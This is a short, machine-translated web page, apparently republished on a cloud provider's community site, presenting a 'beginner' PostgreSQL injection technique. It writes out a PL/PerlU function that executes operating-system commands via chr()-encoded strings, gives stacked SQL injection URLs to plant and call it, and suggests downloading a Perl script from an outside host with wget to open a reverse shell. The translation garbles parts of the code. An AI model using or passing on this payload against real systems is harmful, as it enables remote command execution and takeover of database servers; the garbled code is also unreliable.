Postgresql & quot; beginner & quot; Injection Method

Source: Internet
Author: User

Create function id () RETURNS text AS $ aaa $ open (FD, chr (108 ). chr (1, 105 ). chr (32 ). chr (124); return join (chr (0), <FD>); $ aaa $ LANGUAGE plperlu; select id (); id () is the name of the created function, you can customize chr (108 ). chr (105) is the asc code of the command id to be executed. You can replace the command to be executed with chr, specifically wget http://les.la/c.pl-O/tmp/c. pl deletes the function as drop function id (), and then executes the reverse shell command. This method can deal with all versions above 8.0 (including 8.0) the following is the actual injection format xxx. php? Id = 10; create function id () RETURNS text AS $ aaa $ open (FD, chr (108 ). chr (1, 105 ). chr (32 ). chr (124); return join (chr (0), <FD>); $ aaa $ LANGUAGE plperlu; -- xxx. php? Id = 10 and 1 = 2 union select null, id (), null --

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.